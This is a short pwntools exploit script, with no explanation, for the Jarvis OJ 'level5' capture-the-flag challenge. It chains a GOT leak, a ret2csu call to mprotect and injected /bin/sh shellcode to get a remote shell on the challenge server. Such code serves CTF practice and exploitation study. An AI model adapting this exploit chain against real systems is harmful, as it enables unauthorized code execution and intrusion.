Jarvis

level5

exp:

from pwn import *
#context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#p = process('./level3_x64')
p = remote('pwn2.jarvisoj.com','9884')
#p = remote('127.0.0.1',12345)
libc=ELF('./libc-2.19.so')
elf=ELF('./level3_x64')
context.log_level='debug'

write_got = elf.got['write']
write_plt = elf.plt['write']
read_got = elf.got['read']
read_plt = elf.plt['read']
bss_addr = elf.bss()
pop_rdi = 0x00000000004006b3
pop_rsi_r15 = 0x00000000004006b1
vuln_addr = 0x00000000004005E6
pop_rbx_rbp = 0x00000000004006AA
mov_rdx_r13 = 0x0000000000400690

payload1 = 'a'*(0x80+8) 
payload1 += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(1) + p64(write_plt) + p64(vuln_addr)
p.sendline(payload1)
p.recvline()
write_addr = u64(p.recv(6).ljust(8,b'\x00'))   
print(hex(write_addr))

libc_bash = write_addr - libc.symbols['write']
mprotect_addr = libc_bash + libc.symbols['mprotect']

payload2 = 'a'*(0x80+8) 
payload2 += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss_addr) + p64(1) + p64(read_plt) + p64(vuln_addr)
p.sendline(payload2)
shellcode=p64(mprotect_addr)+asm(shellcraft.amd64.sh(),arch='amd64')
p.sendline(shellcode)

#p.recvline()
payload3 = 'a'*(0x80+8)
payload3 += p64(pop_rbx_rbp) + p64(0) + p64(1) + p64(bss_addr) + p64(7) + p64(0x1000) + p64(0x600000) + p64(mov_rdx_r13)
payload3 += p64(0)*7 + p64(bss_addr+8)
p.sendline(payload3)
p.interactive()